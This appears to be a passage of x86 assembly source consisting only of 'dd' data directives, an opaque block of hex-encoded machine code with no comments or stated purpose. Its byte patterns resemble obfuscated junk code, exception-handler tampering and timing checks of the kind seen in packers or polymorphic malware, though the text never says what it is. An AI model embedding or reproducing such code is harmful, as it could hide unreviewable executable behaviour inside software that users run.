		dd 96064D26h, 3FBF6657h, 57505B01h, 11E9h, 60DDEB00h, 134A875Ch
		dd 0AAAA7B5Fh, 133EA3C3h, 965B29F3h, 0EE8F88Bh,	3E000000h
		dd 0D75FDF79h, 76664D96h, 0A279CB13h, 0B5FF5F23h, 650B795h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0A7C35343h
		dd 0BB9FC65Bh, 44594658h, 0DE9h, 0A309E600h, 52F717BCh
		dd 3C52BB60h, 7E92045h,	24000000h, 3FFF8542h, 95FFD803h
		dd 64D2CC1h, 89CDB560h,	4D0CAD85h, 0BD836106h, 64D32A5h
		dd 44840F00h, 60000000h, 268DBD8Bh, 0F9BE064Dh,	617F7158h
		dd 5319D8Bh, 0F96064Dh,	48Eh, 1DBF6600h, 0F98B50CBh, 50006A96h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 3147B87Ch, 0FFA13782h, 50B795B5h, 19D8B06h, 89064D07h
		dd 4D0B7DB5h, 0C595FF06h, 6A064D17h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0B37C357h
		dd 7AD181B7h, 6667E84Ah, 0FF138FBFh, 50B795B5h,	0ED9D8B06h
		dd 0FF064D2Dh, 4D29B995h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 5E1D0372h
		dd 29A5BD8Bh, 83F8064Dh, 4D1505BDh, 840F0206h, 69h, 8166E6B3h
		dd 8B960ACFh, 4D15A985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 0DE93Eh, 4DA30000h, 8261E591h
		dd 0D8830087h, 0C6D8EA00h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 3D2121C3h
		dd 21B80650h, 23D23AF6h, 4D2C89BDh, 1185C706h, 64D21h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0F3DDC352h, 6C4490B3h,	5694BBA1h
		dd 0E2E9413Eh, 8BFFFFF2h, 56006AC1h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0B2E4A0C4h
		dd 0F88D40D9h, 35858DE9h, 6A064D07h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0E0FAC352h
		dd 338984A2h, 0E5BD8B70h, 89064D2Ah, 4D040DB5h,	0AE85006h
		dd 0D2000000h, 0AD14EA64h, 58619B11h, 0BE80Fh, 27330000h
		dd 0C5FC20CEh, 0E00F04D2h, 0F250BF61h, 5B5F3781h, 6A240489h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 383DC351h, 6E8h, 1A918800h, 0FD6AA2Fh, 6A5BFFB7h
		dd 0DABF0F00h, 6A006Ah,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 5D6A7C3h, 8ACC01DAh, 2FC3BF66h
		dd 10E9h, 9C769900h, 0A394FEE4h, 0AC0BDE99h, 0AC536221h
		dd 0F858DA9h, 0F0651C6h, 481h, 0DEBB6600h, 5C0835Ah, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0C6C35646h, 89506C4Ah
		dd 91B72404h, 6660006Ah, 0E983CDBBh, 0Ch, 0A28C0A0Eh, 53A13DB8h
		dd 34821C95h, 0FF006A61h, 4D114995h, 6800F06h, 9000000h
		dd 4D32BD8Dh, 0DE8B6606h, 9A138D8Dh, 0BB660650h, 0D1FFA6F6h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 36C35343h
		dd 8A513318h, 8336E454h, 4D1281BDh, 850F0106h, 7Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0FCC35545h, 0F04D2C5h
		dd 26A61E0h, 2DD8531h, 8B90064Dh, 7E950FBh, 34000000h
		dd 29CEEE68h, 6A9010C8h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 5941C351h, 3195FFFBh
		dd 6A064D24h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 1A62C355h, 0DA7E952h, 0E80000h
		dd 5D000000h, 0C619ED81h, 6A0651h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0FD5C96C3h, 8D8D8960h
		dd 0BF064D0Fh, 3034544Ch, 0DFB70F61h, 57858DF8h, 5606508Ah
		dd 0FE957h, 15520000h, 0A9934614h, 0D30AEFD4h, 995D45h
		dd 505B5FE5h, 6A240489h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 456AC353h, 0D1503E8Eh
		dd 0E931F31Bh, 0Fh, 3706E99Ah, 0ED81BBC5h, 8B8A5E14h, 6472FB69h
		dd 35FFh, 9D230000h, 64D05B5h, 10E8h, 0C9FE1300h, 0BCE1355Dh
		dd 422C9ADh, 0FECA225Fh, 5BF98B22h, 258964h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 1ACDC357h, 81A906F3h, 0A6DF0AD3h,	68C0Fh
		dd 0BD890000h, 64D31A1h, 181585FFh, 6A064Dh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 8D3F29C3h
		dd 0F51A320Dh, 0EA6FE381h, 0FF6A00C1h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 8AC35747h, 701E336Fh, 0DD8A770Dh
		dd 2B05B5FFh, 6A064Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0C8D201C3h, 11E9EB93h, 0C6000000h
		dd 84722EEAh, 0F4CBE059h, 0FFA1B185h, 4984E23Bh, 41195FFh
		dd 0DE9064Dh, 66000001h, 1E78CF81h, 12E800B0h, 0F4000000h
		dd 91B1D5D7h, 297AF661h, 0C5BEBCFCh, 3171FC4Ch,	70E65B84h
		dd 5BFB8B52h, 9D8B71E4h, 64D25C9h, 613C69B7h, 0D6830Fh
		dd 0EE90000h, 0CA000000h, 0A2A5E073h, 31C5B557h, 0F97E21B0h
		dd 0C8B60FC8h, 68B0Fh, 0B5890000h, 64D17D5h, 6BAh, 6880F00h
		dd 8B000000h, 4D2A35BDh, 89C18B06h, 4D0B0D9Dh, 79950906h
		dd 0C1064D11h, 9D0304E8h, 64D053Dh, 9E2F766h, 4D205185h
		dd 89C82B06h, 4D2D559Dh, 8AD18B06h, 72E9DEh, 858B0000h
		dd 1, 0D2C56FBBh, 7C0832Eh, 83BEEB80h, 852900C0h, 64D1585h
		dd 830FD03Bh, 0Eh, 280D9D89h, 45E9064Dh, 56000000h, 8D8B5BF9h
		dd 0FFFFFFFFh, 31D99D8Bh, 0E183064Dh, 2D840F01h, 89000000h
		dd 4D2E6DBDh, 0FFA58306h, 0FEFFFFFFh, 958954B3h, 1, 8D8B6060h
		dd 64D0345h, 611CD180h,	1FFD9501h, 0E961064Dh, 0
		dd 42CAB58Dh, 6A0651h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 9864F8C3h, 0CBEA6513h, 11618589h
		dd 6A064Dh, 1195FFF9h, 52064D05h, 0F547BB66h, 0F7EB95Bh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0F91DD4C3h, 0FCE183EDh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 0E2C35747h,	391D9400h, 0FC70C99Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0EDC35040h
		dd 9F26BD7Dh, 0FAEE3C0Dh, 22DB8166h, 0B877h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0F7CD76C3h, 911ABB68h, 8D89A214h, 64D1065h, 0BAh, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 264592BDh, 0DB80FE97h, 0C233ADB1h, 0D003E8D1h, 7504E983h
		dd 55006AF4h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 7137D2D6h, 18D897Ah, 6A064D05h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 27C4C355h, 7780D209h, 880D4674h, 0E9000000h,	8, 13955837h
		dd 92463510h, 599958Bh,	6A064Dh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0D2AE1DC3h, 0B5030ABFh
		dd 60BA95F9h, 3D9D89F8h, 61064D05h, 51D8D8Bh, 6A064Dh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0D227C7C3h, 12E9h, 0A0043D00h, 0A571E824h, 934F25F9h
		dd 0DE561F00h, 50DA96EAh, 188BC28Bh, 188BC103h,	0E8D1C18Bh
		dd 188BC203h, 0EFC78058h, 83DFBF0Fh, 4D1C45BDh,	840F0006h
		dd 5Dh,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h
		dd 0D8C35242h, 0E99D8B14h, 89064D30h, 4D1F0D8Dh, 0B806h
		dd 0F98B0000h, 6E9h, 1F2A5700h,	8DC57BD0h, 4D4DE58Dh, 69BE6006h
		dd 8930C978h, 4D0595BDh, 0EBBB6106h, 0FF6AFF9Dh, 9F4B7E1h
		dd 4D26098Dh, 0E9BD8306h, 64D02h, 40F840Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 8946D8C3h, 4D0AA5B5h, 0E9BD8306h, 1064D02h, 3FA840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0C48EEBC3h, 9185098Ch, 60064D0Ah,	105D952Bh
		dd 8531064Dh, 64D040Dh,	0E9BD8361h, 3064D02h, 384860Fh
		dd 0B5090000h, 64D32A1h, 4870Fh, 0BF660000h, 8B603840h
		dd 4D2EE19Dh, 34EF8106h, 6622BE50h, 0FE8D98Ch, 0F4000000h
		dd 30E4EFAh, 7C217E99h,	71F94985h, 0CB818364h, 78B874DEh
		dd 4E1805Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	6C35040h, 13CA892Dh, 9A9349DFh,	0FC90A28h, 0FC84h
		dd 0B52B6000h, 64D0A3Dh, 0E75B589h, 8B61064Dh, 4D187985h
		dd 39853306h, 6A064D06h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 95B8C350h, 66E30BF3h
		dd 70ABC781h, 0F525090h, 385h, 0DE8B6600h, 0D88A310Fh
		dd 9050585Ah, 958529h, 6A064Dh,	1F25B168h, 0B8C0F30h, 0E9000000h
		dd 6, 0DF514EC7h, 348170E7h, 264E24h, 50006A30h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
		dd 6F92AFDBh, 10CA744Bh, 23D58589h, 95FF064Dh, 64D0EB1h
		dd 13E8h, 54216600h, 0ACF1CF55h, 4114AEA7h, 1BA31EFh, 0E35DD7ACh
		dd 0A1E88160h, 0F1D8C25h, 81h, 895B6100h, 50B79585h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0A8E9DF4Eh, 89000001h, 4D0C75B5h, 8D858B06h,	0B70650B7h
		dd 1800C766h, 0F000000h, 587h, 5D2BBB00h, 0B58B2FE3h, 650B791h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0DCC35545h
		dd 0C35560ACh, 0E4FB4B34h, 6D95312Fh, 8B064D29h, 4D32E585h
		dd 719D8B06h, 89064D1Bh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 0A3F2BEB3h, 4BD1E09Fh
		dd 93DB8166h, 1426BB29h, 858B67D2h, 64D1879h, 13D5BD31h
		dd 4689064Dh, 0FFBF0F04h, 2850F50h, 53000000h, 2434895Fh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 9CC35242h
		dd 0F9D56F3Ch, 27F6E381h, 0E960376Bh, 14h, 6A0D3511h, 0FD84D6D4h
		dd 4D6D13C0h, 4DA7212Bh, 0EA94D76Dh, 20098D09h,	0FF61064Dh
		dd 50B78DB5h, 0DE906h, 5D9E0000h, 1BC5D724h, 0D9893A47h
		dd 6857AB6Dh, 79315A0Eh, 52506050h, 585A310Fh, 34815F61h
		dd 2E59F124h, 52006A79h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 8D29F67Eh, 50B79585h, 90FA8B06h
		dd 11E95656h, 79000000h, 0C0999D9Dh, 8BF7161Fh,	91FE2BC4h
		dd 423CC1B0h, 56505F5Bh, 12E9h,	854B6E00h, 0BA3DB36Eh
		dd 7606F605h, 0E29622F3h, 5FBA55D1h, 0B195FF90h, 6A064D0Eh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 8B07C356h, 4D1B05BDh, 299D8906h, 61064D15h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 3EC35545h
		dd 0E84B40A7h, 0Bh, 38D5AC1Fh, 17B8ACD4h, 0B7F9FEC3h, 0BD8B5BC0h
		dd 64D273Dh, 2E985C7h, 3064Dh, 0B5890000h, 64D0D99h, 0B795BD83h
		dd 0F000650h, 2584h, 0AE900h, 0A03B0000h, 0BF7080F5h, 793A498h
		dd 2CE9h, 8B666000h, 6890FCAh, 81000000h, 399502E8h, 30506144h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 299D2BC0h, 83064D1Bh, 4D02E9BDh, 850F0306h, 424h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0DC35646h, 0BD337B11h
		dd 64D154Dh, 11E951h, 51040000h, 4CC29FB5h, 69D8C273h
		dd 0F5C9469Ah, 5B16B46Fh, 0B795BD83h, 0F000650h, 3DB84h
		dd 0BD295100h, 64D2E65h, 95B5FF5Fh, 660650B7h, 0BFD656BBh
		dd 39EFCB69h, 2D9995FFh, 6A064Dh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0D3CC78C3h, 0D6AF5FA7h
		dd 8B6671BDh, 89B58BD8h, 6A0650B7h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0AA1CC355h
		dd 0BF0F3225h, 106C7FAh, 6A000100h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 68A2C356h
		dd 0FB8B50BCh, 6A243489h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0C496C353h,	0B33BD8D4h
		dd 95B5FF50h, 6A0650B7h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 5B7DC350h, 6CF18FE4h
		dd 8D95FFF8h, 6A064D30h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8B50C352h
		dd 50B789B5h, 85858B06h, 0F064D23h, 8689DEBFh, 0C4h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 9BC35646h, 8B7D6D43h
		dd 4D059995h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0FEB068F6h, 0BD332FC8h, 64D2D61h
		dd 2CB5BD89h, 0C283064Dh, 56006A04h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0D9B0198Fh
		dd 890FDC76h, 2FBF2050h, 0F47404Fh, 858DFEB7h, 650CBF0h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 98C35343h
		dd 4A82E201h, 82E8BF80h, 0FFABF0Fh, 8689DFBFh, 0B8h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 5DC35343h, 0DAB92B25h
		dd 142C90Dh, 4D29E5B5h,	6A006A06h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 89ECC350h
		dd 4D259995h, 95B5FF06h, 6A0650B7h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0C92C355h
		dd 9CC0538h, 4D2D1DB5h,	3195FF06h, 6A064D24h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 1C0DC352h, 0FDBF6650h, 243489E9h, 0B795B5FFh, 8B660650h
		dd 0C195FFFBh, 89064D2Ch, 4D30C5BDh, 0A5BD8306h, 64D32h
		dd 71840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 0ACF63BC3h, 8D1ABFE2h, 0B99D03BAh
		dd 96064D2Ah, 0E850FA8Bh, 7, 0DB615CFAh, 608B43F9h, 1FF9FFBAh
		dd 965B6118h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Dh,	21C35141h, 0EB168CDh, 56EF50BCh, 5E92Eh, 20FF0000h
		dd 0FF114E87h, 50B795B5h, 0CCB8106h, 0FF17B1B9h, 4D17C595h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0F7AE2835h, 3A247A13h, 4D8D8948h, 0BB064D04h
		dd 6A979BA5h, 0B795B5FFh, 9D0B0650h, 64D2265h, 0DF8B6650h
		dd 0B995FF5Bh, 6A064D29h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0D15C357h, 99F9614Ah
		dd 9BD38050h, 0F753BF5Bh, 0BD832107h, 64D1505h,	17840F02h
		dd 0F8000000h, 15A9858Bh, 9509064Dh, 64D22B1h, 0C6F88B66h
		dd 0BF660000h, 85C7B1AFh, 64D2111h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 6BC35040h
		dd 0E781AF35h, 7D9695DBh, 0FFF395E9h, 0AE8FFh, 0D6B80000h
		dd 0F3874B80h, 0C54E937Dh, 318D8D89h, 665F064Dh, 0C18BDF8Bh
		dd 35858DFCh, 0F064D07h, 5090DEB7h, 2EB7505Bh, 53006A90h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0BD9D8B18h, 8B064D1Fh, 4D2AD1BDh, 8B006A06h,	4D1015BDh
		dd 6A006A06h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 92A8C350h, 34D1B342h, 0FE2F2E91h
		dd 0D574858Dh, 9D0B0651h, 64D0D55h, 6A05C083h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 460CC356h, 0F8B604DBh, 663EC648h, 0C51CE381h, 1A91BD8Bh
		dd 6650064Dh, 89364CBBh, 6A2404h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 6A8812C3h, 6D8D8900h
		dd 6A064D0Bh, 6CE78100h, 0FF07F205h, 4D114995h,	0FB8B6606h
		dd 9A138D8Dh, 0BD8B0650h, 64D22D5h, 6AD1FFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 663BC3C3h
		dd 44748D84h, 53D9509h,	890F064Dh, 2, 0BD83DF8Bh, 64D1281h
		dd 8B850F01h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 4A40C357h, 56DBA8C6h
		dd 0E9A4CF42h, 0Fh, 0CB4AEF94h,	4A191996h, 1B47A2F5h, 6A7D3FD9h
		dd 19BD8B02h, 66064D1Bh, 90FC52BBh, 8B665250h, 0B3310FFBh
		dd 50585ACCh, 37C9BF60h, 0BF665FFCh, 906134DAh,	0FFDBB70Fh
		dd 4D243195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 0AA4322EEh, 0FF4A722h, 9DE9DBBFh
		dd 0E800000Eh, 0
		dd 7EED815Dh, 810651D5h, 0A6D28EC3h, 51006A19h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 9FDB4FFDh
		dd 57858DFCh, 5306508Ah, 5840Fh, 0F3BF0000h, 5F60C537h
		dd 0E9525090h, 10h, 0AB559846h,	9390B89Fh, 62425B73h, 0A2CADEB6h
		dd 585A310Fh, 90DE8A50h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 71C35747h, 0D2EC7567h, 0D3816645h, 54E30E71h
		dd 37C474BBh, 0F19D8B2Ah, 64064D0Eh, 35FFh, 0CE80000h
		dd 4C000000h, 53A7D766h, 6EBB0C03h, 0FDB6DC9h, 645BFFB7h
		dd 2589h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 335ACCC3h, 0E759251Bh, 0FFFCBC5Ah
		dd 4D181585h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 848A2104h, 0CC0212B1h, 0C781667Dh
		dd 6E94F20h, 0A5000000h, 934F25F9h, 6AFF6A00h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 4FEEC353h, 0BD8B1CC2h, 64D1FA9h, 2DB5FFh, 0D98A064Dh
		dd 5E9h, 3044D400h, 95FFC328h, 64D0411h, 126E9h, 8DBD3300h
		dd 66064D15h, 0B0FE8Bh,	22799D8Bh, 9D31064Dh, 64D1ABDh
		dd 800F70E6h, 1, 3371E4F9h, 4D0FF9BDh, 0F613C06h, 0F683h
		dd 9DBD0300h, 0F064D0Bh, 0BD89C8B6h, 64D179Dh, 0BAF98B66h
		dd 6, 68D0Fh, 95890000h, 64D0B61h, 0FB8BC18Bh, 0E804E8C1h
		dd 13h,	38289F5Bh, 8ADFFEB1h, 0B23FE872h, 68583492h, 0B4C0292h
		dd 4D2ED59Dh, 0F7665B06h, 0ACD380E2h, 0BF0FC82Bh, 0DD9D89DFh
		dd 8B064D06h, 258509D1h, 0E9064D2Fh, 8Fh, 318DBD89h, 858B064Dh
		dd 4, 8307C083h, 0FE8B00C0h, 830FD03Bh,	33h, 0D998D89h
		dd 10E9064Dh, 5C000000h, 1CF02560h, 73E162EFh, 0C5384C41h
		dd 0E98E1B06h, 53h, 9E8h, 45023500h, 300D4BD6h,	0BF662BFBh
		dd 8B5B82DEh, 0FFFFFF8Dh, 8E9FFh, 74A0000h, 9ABAF2Ah, 0E18388BEh
		dd 24840F01h, 0F5000000h, 5E9h,	2471B900h, 0A5832CABh
		dd 0FFFFFFFFh, 9589F8FEh, 4, 32598501h,	0E9064Dh, 8D000000h
		dd 515248B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 818D6BFAh, 6A69EB80h, 0DB58900h
		dd 0FF064D1Bh, 4D051195h, 79BD8B06h, 0B9064D15h, 1078h
		dd 10E85DB7h, 0BB000000h, 0FC1321DFh, 0BC59B84Eh, 0F76AAEE5h
		dd 8BD6BEAFh, 4D2B01BDh, 0E1835F06h, 11E8FCh, 81270000h
		dd 9791EFA1h, 0CF306183h, 13F429A2h, 5FFEEC41h,	56006AFCh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 8998DE54h, 4D203D85h, 0C98D8906h, 0B8064D14h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 2C35545h
		dd 934B8C69h, 4526539Ch, 0BD958972h, 0BA064D2Ch, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 7C35747h
		dd 7E97Bh, 0EECB0000h, 5806F0CFh, 0C233ADFAh, 0D003E8D1h
		dd 7504E983h, 918589F4h, 8B064D0Eh, 0DFE8BD9h, 88h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 6DC35747h, 0B5E6FCEBh
		dd 0BA4E2E8Eh, 0DAB70F28h, 599958Bh, 8D8B064Dh,	64D051Dh
		dd 1621BD8Bh, 6650064Dh, 505FF98Bh, 188BC28Bh, 188BC103h
		dd 0E8D1C18Bh, 188BC203h, 50006A58h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0D8158E6Ah
		dd 3D99501h, 0BD0B064Dh, 64D1501h, 1C45BD83h, 0F00064Dh
		dd 9984h, 0DE8B6600h, 0B8F98Bh,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0B3F4C355h
		dd 14E9FAC3h, 77000000h, 2F8D01FDh, 12AA1367h, 6D08766Dh
		dd 0E5EC96A4h, 8D26BFDEh, 4D4DE58Dh, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 6AE1FF47h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0FFFDC350h, 658C2367h, 0DE9h, 8E64B600h
		dd 5F335E2Fh, 0E1E94FDBh, 0BD839A28h, 64D02E9h,	0D8840F00h
		dd 6A000004h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 44E7C350h, 2CF4BB66h, 2E9BD83h
		dd 0F01064Dh, 4C584h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 0DBD0BFF8h, 0CCA76ABEh
		dd 1449BD89h, 0BD83064Dh, 64D02E9h, 59860F03h, 60000004h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 71C35040h
		dd 5386AF4Fh, 0E9D98C66h, 0Eh, 340D87B5h, 0F4E831ADh, 3B2CDE40h
		dd 0E1808699h, 51006A04h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 66436903h, 0A503ABFh
		dd 3C840FC9h, 0F000001h, 858BDABFh, 64D1879h, 1B71BD8Bh
		dd 8533064Dh, 64D0639h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0DAC35343h, 0D88BD338h, 81B589h, 5090064Dh
		dd 54BABB52h, 310F4D43h, 0CE952h, 0ED960000h, 623DAB63h
		dd 0E2DD4D17h, 5A5FE886h, 0E9525058h, 10h, 45CEF2EBh, 0B323DC6Ah
		dd 0AFCBA9C0h, 0DED20702h, 6A905Fh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 11C35040h, 6A1E0D21h, 577B0A07h
		dd 5800F54h, 0BF000000h, 87E769Ah, 3D8D8B60h, 0E9064D0Dh
		dd 0Bh,	0D7450D1Eh, 9649183Ch, 611CAEBFh, 0DF996568h, 7A76BB14h
		dd 34815B72h, 0C09A9A24h, 10E914h, 39820000h, 0BA0A64F2h
		dd 34DDD72Ch, 573D7E7Dh, 95FF35D6h, 64D0EB1h, 0B7958589h
		dd 6A0650h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 0CC1849C3h, 8B664273h, 24FE9FEh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0C87C8EC3h, 7EEB816Dh, 8B7EC097h, 50B78D85h,	0EE906h
		dd 3C1D0000h, 1324D99Eh, 0DDC97E71h, 46E8E306h,	1800C7h
		dd 890F0000h, 6, 0C119D89h, 0B58B064Dh,	650B791h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F2C35242h, 0BE742F04h
		dd 0F272FCDh, 1885h, 12870F00h,	0E9000000h, 0Dh, 0CC0E816Ah
		dd 6B2A6B89h, 48A4AF5Dh, 38E0FF2h, 66000000h, 858BDE8Bh
		dd 64D32E5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	35C35040h, 5E98A84h, 3A000000h,	2C6653DCh, 9D8B0689h
		dd 64D14DDh, 0AF99D89h,	858B064Dh, 64D1879h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 22C35242h, 9D8B3DFBh
		dd 64D2A2Dh, 6A044689h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 8641C357h, 3399EE8Dh
		dd 3EABCE80h, 0BF0FF88Ah, 9E896FEh, 8E000000h, 815C9ADFh
		dd 69950E08h, 0CE9h, 17F40D00h,	4BAE749Fh, 0D6B88545h
		dd 0BF505F80h, 4240856Dh, 51006A96h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0E10FEB16h
		dd 5E8F856h, 5252263Ch,	2ADDBD23h, 5F5B064Dh, 0B78DB5FFh
		dd 68FC0650h, 1BEB5391h, 3481DF8Bh, 0F4506E24h,	52006A1Bh
